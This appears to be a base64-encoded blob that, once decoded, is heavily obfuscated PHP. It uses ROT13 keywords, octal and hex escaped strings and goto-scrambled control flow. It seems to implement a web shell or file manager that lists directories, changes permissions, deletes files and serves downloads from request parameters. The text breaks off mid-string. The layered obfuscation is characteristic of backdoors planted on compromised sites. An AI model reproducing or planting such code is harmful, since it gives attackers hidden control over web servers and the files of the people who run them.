gdkxZQVI7IHRiZ2IgS0p4MDI7IGc2Q204OiBJbnIzMTogdGJnYiBESFk1ODsgQm5KNHk6IHZzICghcHV6YnEoJGFVWXRxLCAwNzc1KSkgeyB0YmdiIFEyNjJPOyB9IHRiZ2IgWkVqOFg7IE1aQUNSOiAka0k5cF8gPSAnJzsgdGJnYiBnNkNtODsgbWRFUTE6IFE2ZXRrOiB0YmdiIEJuSjR5OyBrT2NGcjogbHJSR0M6IHRiZ2IgZjNjSlg7IFpfM3VKOiB0YmdiIElucjMxOyB0YmdiIFFMS2FQOyBLSngwMjogdnFwMnE6IHRiZ2IgR29CNWQ7IFRhd1lrOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIFE2ZXRrOyB9IHRiZ2IgZjlfS3A7IFpFajhYOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIHZxcDJxOyB9IHRiZ2Igc0JGdWc7IFh5Q1ZFOiB0YmdiIEltMXE2OyB0YmdiIG1kRVExOyBmOV9LcDogJGtJOXBfID0gc2VybnEoJGxDNjNMLCBzdnlyZnZtcigkYVVZdHEpKTsgdGJnYiB5alJTYjsgdVB3cXA6IHJwdWIgIlxrNjNcazYxXDE1Nlw0N1xrNzRcNDBcMTYwXDE0NVwxNjJcMTU1XDE1MVwxNjNcMTYzXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXGsyMFxrNjNcazY4XDE1NVwxNTdcMTQ0XDQwXDE0NlwxNTFcMTU0XDE0NVxrM3BcMTQyXGs3MlxrM3IiOyB0YmdiIE1aQUNSOyBBMUNrSzogJGtJOXBfID0gJyc7IHRiZ2IgUkdXVTA7IEp1cmZhOiB9IHRiZ2IgZDlZNEQ7IHMzOVBNOiB0YmdiIFVNQ0NKOyB0YmdiIHE1aGJMOyBCRDNKWTogcnB1YiAiXDc0XDE0NlxrNnNcMTU2XDE2NFxrMjBcMTQzXGs2c1xrNnBcMTU3XGs3Mlw3NVw0MlwxNDdcMTYyXGs2NVwxNDVcMTU2XGsyMlw3NlxrNDZcMTUxXDE1NFwxNDVcNDBcazYzXDE2MlwxNDVcMTQxXDE2NFwxNDVcMTQ0XGsyMFxrNzNcazc1XGs2M1xrNjNcazY1XDE2M1xrNzNcazY2XGs3NVxrNnBcMTU0XDE3MVw0MVw3NFw1N1xrNjZcMTU3XGs2clwxNjRcNzYiOyB0YmdiIFQxYWtQOyBsQ2hTMjogJHlHV1NiKys7IHRiZ2IgV0tMX2I7IGJLbDFBOiBDU0g0WjogdGJnYiBzV3FybzsgekZOeGM6IHNiZXJucHUgKCRLMmV5ZyBuZiAkbkVTcEopIHsgdGJnYiBPaWRXOTsgenVrcHo6ICRKcXlaNyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBzVnZEMzsgTlhydWY6ICRKcXlaNyA9ICRfRlJFSVJFWyJcMTA0XDExN1wxMDNcMTI1XGs0cVxrNDVcazRyXGs1NFwxMzdcazUyXGs0c1xrNHNcazU0Il07IHRiZ2IgUWRaRlE7IE44YnhsOiBWTlJ2YjogdGJnYiB6M29OQjsgc1Z2RDM6IGRtTnBROiB0YmdiIGRwdzdqOyBSdUR0eTogdnMgKCRLQ0piTCAhPT0gc255ZnIpIHsgdGJnYiBWTlJ2YjsgfSB0YmdiIGtHdnZsOyBrR3Z2bDogJEtDSmJMID0gIlw3NFwxNDFcazIwXGs2OFxrNzJcMTQ1XDE0NlxrM3FcNDJcMTUwXGs3NFwxNjRcMTYwXGszblw1N1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XDE0NVwxNDRcazY5XGs3NFw3NXskaHJfcTJ9XGsyNlwxNDRcazY5XGs3MlxrM3F7JEpxeVo3fVw0Mlw3NlwxMDVcazNwXDU3XDE0MVw3NlxrMjZcazZyXGs2MlwxNjNcazcwXDczIjsgdGJnYiBSc0Q4eDsgUWRaRlE6IHRiZ2IgZG1OcFE7IHRiZ2IgYUtkZm47IERCWVJ1OiAkSkJHRXYgPSAiXGsyM1wxNDZcazY2XDE0NlxrMzhcazY1XDY3IjsgdGJnYiBMMkpLOTsgWUFSX3E6IHZzICgkdjVRUGsgJSAyID09IDApIHsgdGJnYiB1UTBqeTsgfSB0YmdiIEgzcnBOOyB5ZXNUMjogdVEwank6IHRiZ2IgREJZUnU7IFJzRDh4OiB0YmdiIEp0YWVQOyB0YmdiIE44YnhsOyBtY0g5dzogJGNtMjNsID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcMTE1XGs0NVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1wxMjQiXSwgJF9GUkVJUkVbIlxrNTNcMTA1XGs1MlwxMjZcazQ1XGs1MlxrNXNcazRyXGs0MVxrNHFcazQ1Il0sICRocl9xMik7IHRiZ2IgWUFSX3E7IEwySks5OiB2NkZyTjogdGJnYiBWMWREajsgQXBxbUQ6ICRocl9xMiA9ICRfVFJHWyJcMTQ0XDE1MVxrNzIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiB6dWtwejsgbk1HZTY6IHJwdWIgIlw3NFxrNzRcMTYyXGsyMFxrNjJcazY3XDE0M1xrNnNcazZwXDE1N1xrNzJcazNxXGsyMnskSkJHRXZ9XGsyMlxrMjBcMTQxXGs2cFxrNjlcMTQ3XGs2clw3NVxrMjJcazYzXDE0NVxrNnJcMTY0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFwxNDRcNDBcMTQxXGs2cFxrNjlcMTQ3XDE1NlxrM3FcazIyXGs2cFxrNjVcMTQ2XGs3NFw0Mlw0MFw3NiIgLiAiXDc0XGs2MVw0MFxrNzNcMTY0XDE3MVxrNnBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcazc0XDU1XDE0NFxrNjVcMTQzXGs2c1xrNzJcazYxXGs3NFwxNTFcazZzXGs2clw3MlxrMjBcMTU2XDE1N1wxNTZcMTQ1XGszb1w0Mlw0MFwxNTBcazcyXGs2NVwxNDZcazNxXDQyXGs2OFwxNjRcMTY0XDE2MFxrM25cazJzXDU3eyRndkt3Tn17JGVVX2hhfVw3N1xrNjVcMTQ0XDE1MVwxNjRcazNxeyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskSnF5Wjd9XGsyMlxrM3JcazNwXGs2NlxrNnNcMTU2XDE2NFw0MFxrNjNcazZzXDE1NFwxNTdcMTYyXDc1XDQyXGs2MlxrNnBcazYxXDE0M1wxNTNcazIyXGszcnskbkVTcEp9XGszcFxrMnNcMTQ2XDE1N1wxNTZcazc0XGszclxrM3BcNTdcazYxXGszciIgLiAiXDc0XDU3XGs3NFxrNjRcazNyXDc0XDE2NFxrNjRcNzYiIC4gcVc4TUsoJGhyX3EyKSAuICJcazNwXGsyc1xrNzRcazY0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XGszcFw1N1wxNjRcMTQ0XDc2XDc0XGs3NFwxNDRcNzYiIC4gRFNCUEYoJGhyX3EyLCAiXGszMCIpIC4gIlw3NFxrMnNcazc0XDE0NFw3NlxrM3Bcazc0XDE0NFw3NiIgLiAiXGszcFwxNDFcNDBcMTUwXGs3MlwxNDVcMTQ2XDc1XGsyMlxrNjhcazc0XGs3NFwxNjBcazNuXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XGszc1xrNjRcMTQ1XGs2cFxrM3F7JGhyX3EyfVxrMjZcMTQ0XGs2OVxrNzJcNzV7JEpxeVo3fVw0Mlw3NlxrNTVcNzRcNTdcMTQxXGszclxrMjZcazZyXGs2MlwxNjNcazcwXGszbyIgLiAkS0NKYkwgLiAiXGszcFwxNDFcazIwXGs3NFxrNjFcazcyXGs2N1wxNDVcMTY0XGszcVxrMjJcMTM3XGs2MlxrNnBcMTQxXDE1NlxrNm9cazIyXGsyMFxrNjhcazcyXDE0NVxrNjZcNzVcNDJcMTUwXGs3NFwxNjRcazcwXGszblxrMnNcazJzeyRjbTIzbH1cazIyXDc2XGs0c1xrM3BcNTdcazYxXDc2XGsyNlwxNTZcMTQyXGs3M1wxNjBcazNvIiAuICJcNzRcMTQxXDQwXGs2OFxrNzJcMTQ1XGs2Nlw3NVxrMjJcMTUwXDE2NFwxNjRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cazNzXGs2NFxrNnNcazc3XDE1NlwxNTRcazZzXDE0MVxrNjRcNzV7JGhyX3EyfVw0NlxrNjRcMTUxXDE2Mlw3NXskSnF5Wjd9XGsyMlxrM3JcMTA0XGszcFw1N1xrNjFcazNyIiAuICJcazNwXDU3XDE2NFwxNDRcNzZcazNwXDU3XGs3NFwxNjJcNzYiOyB0YmdiIGI2Wk14OyBIM3JwTjogJEpCR0V2ID0gIlw0M1wxNDZcMTQ2XGs2NlxrNjZcazY1XDYwIjsgdGJnYiBjMDRaWDsgVjFkRGo6ICRLQ0piTCA9IGZnZXZmZ2UoJG5FU3BKLCAiXDU2XGs3blxrNjlcMTYwIik7IHRiZ2IgUnVEdHk7IGFLZGZuOiBCeklkRzogdGJnYiBBcHFtRDsgejNvTkI6ICRLQ0piTCA9ICJcazNwXDE0MVxrMjBcMTUwXGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXGs3NFxrNzRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cNzdcMTY1XDE1NlwxNzJcazY5XDE2MFw3NXskaHJfcTJ9XDQ2XDE0NFwxNTFcazcyXDc1eyRKcXlaN31cNDJcNzZcazVuXDc0XDU3XGs2MVw3Nlw0NlwxNTZcMTQyXDE2M1wxNjBcNzMiOyB0YmdiIHBYSkFROyBwWEpBUTogSnRhZVA6IHRiZ2Igbk1HZTY7IGRwdzdqOiAkYXQyU2QgPSBzNlVCdigkaHJfcTIpOyB0YmdiIG1jSDl3OyBPaWRXOTogdnMgKHZmZnJnKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSkpIHsgdGJnYiBCeklkRzsgfSB0YmdiIEFNdkpROyBuSlNNNDogYnBCQWY6IHRiZ2IgTzlhOGs7IEFNdkpROiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXDEyNVxrNHFcazQ1XGs0clxrNTRcazVzXGs1MlxrNHNcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgTlhydWY7IGMwNFpYOiB0YmdiIHY2RnJOOyB0YmdiIHllc1QyOyBiNlpNeDogJHY1UVBrKys7IHRiZ2IgbkpTTTQ7IE85YThrOiB9IHRiZ2IgV0xYc287IGxWZktNOiB2cyAoJHNUbHZ2ICE9PSAkRkNSVkgpIHsgdGJnYiBNakhiOTsgfSB0YmdiIEpPMHNWOyBWa01FOTogclBqX1o6IHRiZ2IgRzkwcDA7IFpEUzFYOiAkSkVmZHQgPSAiXGs2OFxrNzRcazc0XGs3MFw3MlxrMnNcNTciIC4gJGd2S3dOIC4gJGVVX2hhIC4gIlw3N1wxNDRcazY5XGs3MlxrM3EiIC4gJF9UUkdbIlxrNjRcazY5XGs3MiJdIC4gIlw0NlxrNnJcazY1XGs3N1xrNXNcMTQ0XGs2OVxrNzJcNzUiIC4gJExVM0FjOyB0YmdiIHJsNEE0OyB3bUtUaDogcnB1YiAiXGsyN1xrMjJcNTRcazIwXGs2NFxrNjVcazZwXGs2MVxrNzlcNTFcazNvXGtxXDEyXDExXGs5XDExXGszcFw1N1xrNzNcMTQzXDE2MlwxNTFcazcwXGs3NFw3NlwxNVxrblwxMVxrOVwxMSI7IHRiZ2IgWVZmNWE7IE9HRGhtOiB2cyAoIXZmZnJnKCRfVFJHWyJcMTY1XGs2clxrN25cMTUxXGs3MCJdKSkgeyB0YmdiIGhPUk1UOyB9IHRiZ2IgUEhMckM7IHgxU1RlOiAkc1RsdnYgPSAwOyB0YmdiIGhPbmFjOyBONHpRSDogc3B5YmZyKCRhcmZQQSk7IHRiZ2IgTXJvd1A7IFdMWHNvOiBaOHlVVjogdGJnYiBaT2pRRzsgTXFrVDU6IGJobUI0OiB0YmdiIEZEWDFOOyBPeElHbjogdnMgKHN2eXJfcmt2ZmdmKCRZSVVaMSkgbmFxIHN2eXJmdm1yKCRZSVVaMSkgPiAxKSB7IHRiZ2IgUzlXYTM7IH0gdGJnYiB1Mk9pVTsgRGJuQlI6ICRjUEVCViA9IFhYSmNyKCRjUEVCVik7IHRiZ2IgSF9GNWE7IGZ5aXhJOiB2cyAoISh2ZmZyZygkX1NWWVJGKSAmJiAkX1NWWVJGWyJcazY5XGs2clwxNjBcazc1XGs3NFxrNjZcMTUxXGs2cFwxNDUiXVsiXDE0NVwxNjJcazcyXDE1N1wxNjIiXSA9PSAwKSkgeyB0YmdiIFpMZ3d3OyB9IHRiZ2IgZzl6QjM7IG10S0FaOiBzYmVybnB1ICgkQ2ZCZGogbmYgJG5FU3BKKSB7IHRiZ2IgdVR5NEc7IHZXdV9rOiAkeURqMkEgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcazQ1XDExNlwxMjRcazVzXDEyMlwxMTdcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgUFFVQjI7IGlPY1B6OiBycHViICJcazNwXGs3NFxrNzJcazIwXGs2MlxrNjdcazYzXDE1N1xrNnBcazZzXGs3Mlw3NVw0MnskSkJHRXZ9XGsyMlw0MFxrNjFcazZwXDE1MVwxNDdcMTU2XDc1XDQyXDE0M1xrNjVcazZyXGs3NFxrNjVcazcyXDQyXGszclw3NFwxNjRcazY0XDQwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlxrNnBcazY1XDE0NlxrNzRcNDJcNDBcazNyIiAuICJcNzRcMTQ2XDE1N1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XGs2c1wxNjJcazNxXGsyMlw0M1w3MVxrMzBcazM0XGs2NFxrMzNcazMwXDQyXGszclw3NFxrNjJcazNyXGszcFxrNjFcazIwXGs2OFwxNjJcazY1XDE0Nlw3NVw0MlxrNjhcazc0XGs3NFxrNzBcNzJcNTdcazJzeyRndkt3Tn17JGVVX2hhfVw3N1xrNjRcazY5XDE2Mlw3NXskeURqMkF9XGsyMlw3NnskbkVTcEp9XGszcFxrMnNcazYxXGszclxrM3BcNTdcazYyXDc2XDc0XGsyc1wxNDZcMTU3XDE1NlxrNzRcazNyIiAuICJcNzRcNTdcMTY0XDE0NFxrM3JcazNwXGs3NFxrNjRcazNyXDE0NFxrNjlcMTYyXDc0XGsyc1xrNzRcMTQ0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XDc0XGsyc1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XGszciIgLiBEc0JQZigkaHJfcTIsICJcazMwIikgLiAiXDc0XGsyc1wxNjRcazY0XDc2XDc0XDE2NFwxNDRcazNyIiAuICJcNzRcMTQxXGsyMFwxNTBcazcyXGs2NVwxNDZcNzVcNDJcazY4XGs3NFwxNjRcazcwXDcyXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XGs2NFwxNDVcMTU0XDc1eyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskWGJTQkV9XGsyMlw3NlwxMjVcazNwXDU3XDE0MVw3NlxrMjZcazZyXDE0MlxrNzNcazcwXGszbyIgLiAiXGszcFxrMnNcazc0XGs2NFw3NlxrM3BcazJzXGs3NFxrNzJcNzYiOyB0YmdiIFRXWW96OyBQTXpJUTogREZEVE06IHRiZ2IgZHVGV1g7IEQyODlOOiBJVk1qQTogdGJnYiBpT2NQejsgdVR5NEc6IHZzICghKCRuRVNwSiAhPT0gIlxrMnIiIG5hcSAkbkVTcEogIT09ICJcNTZcazJyIikpIHsgdGJnYiB0RTZuTTsgfSB0YmdiIElkUGxvOyBCSmhhTDogJGF0MlNkID0gUzZVQnYoJGhyX3EyKTsgdGJnYiBWVm5tQjsgUFFVQjI6IHRiZ2IgZEhxNTU7IHRiZ2IgUE16SVE7IFpJWjZ3OiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcazQzXDEyNVwxMTVcMTA1XDExNlwxMjRcMTM3XGs1MlwxMTdcMTE3XDEyNCJdIC4gIlxrMnMiIC4gJG5FU3BKOyB0YmdiIHZXdV9rOyBCN1V0bjogZEhxNTU6IHRiZ2IgTVBLd187IFRXWW96OiAkdjVRUGsrKzsgdGJnYiBudF8zTTsgUDk1eTQ6ICRtVkhuOCA9IGZnZWVwdWUoJFhiU0JFLCAiXDU3Iik7IHRiZ2IgZzNEV1M7IFZWbm1COiB2cyAoJHY1UVBrICUgMiA9PSAwKSB7IHRiZ2IgaEZ4TVM7IH0gdGJnYiBqRHJYVzsgSWRQbG86IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgREZEVE07IH0gdGJnYiBaSVo2dzsgTVBLd186ICRYYlNCRSA9ICR5RGoyQTsgdGJnYiBQOTV5NDsgbnRfM006IHRFNm5NOiB0YmdiIFF5VkdQOyBqRHJYVzogJEpCR0V2ID0gIlw0M1wxNDZcazY2XGs2NlwxNDZcazY1XDYwIjsgdGJnYiBSZDZGZjsgYzBGaHE6ICR5RGoyQSA9ICRfVFJHWyJcazY0XDE1MVxrNzIiXSAuICJcNTciIC4gJG5FU3BKOyB0YmdiIEI3VXRuOyBnM0RXUzogJFhiU0JFID0gZmdlX2VyY3lucHIoJG1WSG44LCAnJywgJFhiU0JFKTsgdGJnYiBCSmhhTDsgZHVGV1g6ICRocl9xMiA9ICRfVFJHWyJcazY0XGs2OVwxNjIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiBjMEZocTsgUmQ2RmY6IHRiZ2IgSVZNakE7IHRiZ2IgVWI4Z3o7IFF5VkdQOiBKSFRfOTogdGJnYiBLR1pWQjsgVWI4Z3o6IGhGeE1TOiB0YmdiIG12MF9uOyBtdjBfbjogJEpCR0V2ID0gIlw0M1wxNDZcazY2XDE0Nlw3MFxrNjVcNjciOyB0YmdiIEQyODlOOyBLR1pWQjogfSB0YmdiIEZyeDBuOyBpZVNuRjogWVQ1aG06IHRiZ2IgR3BWVnY7IGl5Zjc3OiBya3ZnOyB0YmdiIE5PT253OyBwOUlhYzogcHV6YnEoJF9GUkVJUkVbIlwxMjNcMTAzXGs1MlxrNDlcMTIwXDEyNFxrNXNcMTA2XDExMVxrNHBcMTA1XDExNlwxMDFcazRxXGs0NSJdLCAwNDQ0KTsgdGJnYiBpSEdKQjsgQklXeU06IGo0cHg5OiB0YmdiIGN6cGJtOyBhX3hCTDogUFVvUE86IHRiZ2IgZnlpeEk7IFRJY2tEOiB4NDJfbigkX1RSR1siXDE0NFwxNDVcazZwIl0pOyB0YmdiIFFjTGZBOyBrUWJEYjogJEMwQl9oID0gc2JjcmEoJFlJVVoxLCAiXDE0MSIpOyB0YmdiIFB2SDA4OyBSa0ZEajogdGJnYiB6MVI0dzsgdGJnYiBpQldJdDsgdmxibk06IHRiZ2IgZlpzcXM7IHRiZ2IgQUxzcFc7IE5zZWY4OiAkUHcwYVIgPSAiXDE0NVxrNzZcazYxXDE1NFxrMjhcazYyXDE0MVwxNjNcazY1XGszNlxrMzRcazVzXGs2NFxrNjVcazYzXGs2c1wxNDRcMTQ1XDUwIjsgdGJnYiBidlQyNjsgZ2N0Z2s6IG1JM1A2OiB0YmdiIENuMTJvOyB6encwQTogcTFPbUE6IHRiZ2IgdGM2U247IGQ3bjgwOiBvSjVIeigkSkVmZHQpOyB0YmdiIGdsa0hfOyBVVkhoODogS2ZQVXM6IHRiZ2IgeUZpMEg7IGdsa0hfOiB0YmdiIFlUNWhtOyB0YmdiIFp3N0VCOyBpYUhMYzogdXJucXJlKCJcMTAzXDE0MVwxNDNcMTUwXDE0NVxrMnFcMTAzXDE1N1xrNnJcMTY0XDE2MlxrNnNcazZwXDcyXGsyMFwxNTVcMTY1XGs3M1wxNjRcNTVcMTYyXDE0NVxrNzZcazYxXDE1NFwxNTFcazY0XGs2MVwxNjRcazY1Iik7IHRiZ2IgZXIxVVQ7IG55SHRaOiB2cyAodmZfcXZlKCRfVFJHWyJcMTQ0XGs2NVxrNnAiXSkpIHsgdGJnYiBxMU9tQTsgfSB0YmdiIFRJY2tEOyBsZXJJdjogdXJucXJlKCJcazQzXDE1N1xrNnJcazc0XGs2NVxrNnJcMTY0XGsycVxrNDRcMTUxXDE2M1wxNjBcazZzXDE2M1wxNTFcMTY0XDE1MVxrNnNcMTU2XDcyXGsyMFwxNDFcazc0XGs3NFxrNjFcazYzXGs2OFwxNTVcazY1XDE1NlwxNjRcNzNcazIwXDE0NlxrNjlcazZwXGs2NVxrNnJcMTQxXDE1NVxrNjVcNzUiIC4gb25mcmFuenIoJGhaR3RSKSk7IHRiZ2IgQmYyWUw7IEJiZV90OiAkUDlwSUEgPSBEU2JwZigkX0ZSRUlSRVsiXGs1M1wxMDNcMTIyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXGs0cFwxMDVcazRyXGs0MVxrNHFcMTA1Il0sICcnKTsgdGJnYiB1cExVcDsgR3BWVnY6IHNweWJmcigkaHhlM08pOyB0YmdiIEt1THRUOyBBMlJ5NTogcnB1YiAiXDExXGs5XDExXGszcFxrNjJcazcyXGszclxrM3BcMTQyXGs3Mlw3NlwxNVwxMlxrOVxrOVxrOVwxMDRcMTUxXDE2MlwxNDVcMTQzXDE2NFwxNTdcazcyXDE3MVw3Mlw0MFwxNVwxMlxrOVxrOVxrOSI7IHRiZ2IgUjMyMzU7IG1XNl94OiB4YmJERDogdGJnYiBjMTZ4NDsgbmFQbVM6ICR0bXRWOCA9IG5lZW5sKCk7IHRiZ2IgaEpPZHM7IEpMYVMzOiAkSkVmZHQgPSAiXGs2OFwxNjRcMTY0XGs3MFxrM25cNTdcazJzIiAuICRndkt3TiAuICRlVV9oYSAuICJcNzdcMTQ0XDE1MVxrNzJcazNxIiAuICRMVTNBYzsgdGJnYiBMOFdqMDsgVVI0SjU6ICRyVFpINSA9IFpCeTAzKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXDExN1xrNHNcMTI0Il0pOyB0YmdiIHRYTW9qOyBWUlV5WDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XGs2OVxrNzIiXSkpIHsgdGJnYiBqbEN2RTsgfSB0YmdiIHhCaDc3OyBjQXpJcjogWnJpZzQ6IHRiZ2IgUW1VZW07IFpsVDhPOiBycHViICJcMTFcMTVcMTJcMTFcNzRcMTY0XGs3Mlw0MFwxNDFcMTU0XDE1MVxrNjdcazZyXGszcVw0MlxrNjNcazY1XDE1NlwxNjRcMTQ1XDE2MlxrMjJcNDBcazczXDE2NFxrNzlcMTU0XGs2NVw3NVxrMjJcazYzXDE1N1xrNnBcMTU3XGs3MlxrM25cNDBcNDNcazM0XDYyXDYzXGs2M1w2Nlw2M1xrM29cazIyXGszclxrM3BcMTY0XGs2NFw0MFwxNDFcMTU0XDE1MVxrNjdcMTU2XGszcVxrMjJcMTU0XGs2NVwxNDZcMTY0XGsyMlxrM3JcazNwXDE0MlxrM3JcazRyXDE0MVwxNTVcazY1XDc0XDU3XGs2Mlw3NlxrM3BcazJzXDE2NFwxNDRcazNyXDc0XDE2NFxrNjRcazNyXGszcFwxNDJcazNyXDEyM1xrNjlcMTcyXGs2NVw3NFxrMnNcazYyXGszclw3NFw1N1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XDc2XDc0XDE0Mlw3NlwxMTVcazZzXGs2NFwxNTFcMTQ2XDE3MVw3NFxrMnNcazYyXGszclw3NFw1N1wxNjRcazY0XGszclw3NFwxNjRcazY0XGszclxrM3BcazYyXDc2XGs1MFwxNDVcazcyXDE1NVxrNjlcazczXDE2M1xrNjlcazZzXGs2clwxNjNcNzRcNTdcMTQyXGszclw3NFw1N1xrNzRcazY0XDc2XDc0XGs3NFwxNDRcazNyXGszcFxrNjJcNzZcazQxXGs2M1xrNzRcMTUxXGs2c1xrNnJcMTYzXDc0XGsyc1xrNjJcNzZcNzRcNTdcMTY0XDE0NFw3Nlw3NFxrMnNcMTY0XDE2MlxrM3Jca3Fca25cMTVca25cMTEiOyB0YmdiIEFkNXpUOyBydkViQzogRV9LYUc6IHRiZ2IgTGxKSVI7IERPVnJXOiBpNzJGajogdGJnYiBhZFM0Yjsgd2o5VmQ6ICR2WFdmdiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcazRyXDEyNFxrNXNcazUyXGs0c1wxMTdcazU0Il0sICRfRlJFSVJFWyJcMTIzXGs0NVxrNTJcMTI2XGs0NVxrNTJcMTM3XGs0clxrNDFcazRxXDEwNSJdLCAkRFAwSHgpOyB0YmdiIFNGQ3BvOyBYZDBWVjogdGJnYiBRZ1hFTDsgdGJnYiBMRFYwajsgdEJvbE06IFg0Ml9uKCRfRlJFSVJFWyJcazUzXDEwM1wxMjJcazQ5XDEyMFxrNTRcMTM3XGs0NlxrNDlcMTE0XDEwNVwxMTZcazQxXGs0cVxrNDUiXSk7IHRiZ2IgcWxOYUY7IHlnOUFsOiBxb3hiYjogdGJnYiBBcjF3ajsgd3lBbjM6IHJwdWIgdktpTDEoKTsgdGJnYiBsRFdXVTsgQUxabDI6ICR4ZUtweiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcMTA0XDExN1wxMDNcazU1XGs0cVwxMDVcazRyXDEyNFwxMzdcazUyXDExN1xrNHNcazU0Il0sICRfRlJFSVJFWyJcazUzXGs0NVwxMjJcazU2XDEwNVwxMjJcMTM3XGs0clxrNDFcMTE1XGs0NSJdLCAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXDExNFwxMDVcazRyXDEwMVxrNHFcMTA1Il0pOyB0YmdiIFFOYWZQOyBRZ2JHMjogRFBBRDU6IHRiZ2Iga0pTd1o7IEpPMHNWOiBycHViICJcazNwXGs2MVxrMjBcazY4XGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXDE2NFxrNzRcMTYwXDcyXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcazY5XDE2MlxrM3EiIC4gJExVM0FjIC4gIlw0Mlw3NiIgLiAkTDRJWXNbInskc1RsdnZ9Il0gLiAiXDc0XGsyc1xrNjFcNzYiOyB0YmdiIHMzOVBNOyB6WGNNQzogZjQxOFQ6IHRiZ2IgQTB4ZVI7IE1IZG1ROiAkVHUyaWsgPSAiXGs2M1wxNDFcazYzXDE1MFwxNDVcazNxXDYwXGszMCI7IHRiZ2IgUlJYSjg7IGp1bTdhOiB0YmdiIENzZ1dxOyB0YmdiIFloN29JOyB2dDB0ZjogJEhUNFZZID0gIlwxNDJcMTQxXDE2M1xrNjVcazM2XGszNFwxMzdcMTQ0XGs2NVwxNDNcMTU3XDE0NFxrNjVcNTBcazI0XDEzN1xrNTBcazRzXDEyM1wxMjQiOyB0YmdiIE54ZFNSOyBETFR3dDogJExYUGt1ID0gZk9xTjkoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1xrNTVcMTE1XDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXDExN1xrNTQiXSk7IHRiZ2IgY19rNzE7IGM2cnJXOiBycHViICRfRlJFSVJFWyJcMTIzXDEwNVwxMjJcMTI2XGs0NVxrNTJcMTM3XDEwMVwxMDRcMTA0XDEyMiJdOyB0YmdiIElWZ0EyOyB1cExVcDogdnMgKCEoJFA5cElBICE9PSAiXGszNFxrMzRcazM0IikpIHsgdGJnYiBxMG44WjsgfSB0YmdiIHA5SWFjOyBuNk9KcTogc2hhcGd2YmEgb2o1aHooJEpFZmR0KSB7IHRiZ2IgTmRoVXo7IE5kaFV6OiBycHViICJcNzRcMTY0XGs2NFw0MFwxNDFcazZwXGs2OVwxNDdcMTU2XGszcVw0MlxrNzJcMTUxXGs2N1xrNjhcazc0XDQyXGsyMFwxNDNcMTU3XGs2cFxrNzNcazcwXGs2MVxrNnJcazNxXGsyMlxrMzJcNDJcazNyIjsgdGJnYiBESzdCMDsgcXlCdHc6IHJwdWIgIlxrM3BcazY2XDE1N1xrNzJcMTU1XGsyMFwxNDFcMTQzXGs3NFwxNTFcazZzXGs2clxrMjBcNzVcazIwXDQ3IiAuICRKRWZkdCAuICJcazI3XDQwXGs2cVxrNjVcazc0XGs2OFwxNTdcMTQ0XDQwXDc1XDQwXGsyN1wxMjBcazRzXGs1M1xrNTRcNDdcazNyIjsgdGJnYiBSZEdPWjsgT3paMVk6IHJwdWIgIlw3NFwxNTFcazZyXDE2MFwxNjVcMTY0XGsyMFxrNnJcazYxXDE1NVxrNjVcNzVcNDJcMTYzXDE0NVwxNDFcMTYyXGs2M1wxNTBcMTM3XDE0NlwxNTFcazZwXGs2NVw0MlxrMjBcMTYzXGs2OVwxNzJcMTQ1XDc1XGsyMlw2N1w0MlxrMjBcMTY0XDE3MVxrNzBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcMTY0XDQyXDQwXDE2MFwxNTRcazYxXDE0M1xrNjVcMTUwXDE1N1wxNTRcazY0XDE0NVxrNzJcazNxXGsyMlw1NlwxNjNcMTY1XDE2M1wxNjBcMTQ1XGs2M1wxNjRcazY1XDE0NFw0MlxrMjBcazJzXGszciI7IHRiZ2IgTnpCU2c7IERLN0IwOiBycHViICJcazNwXDE0NlwxNTdcMTYyXDE1NVxrMjBcazYxXGs2M1xrNzRcazY5XGs2c1wxNTZcNDBcazNxXG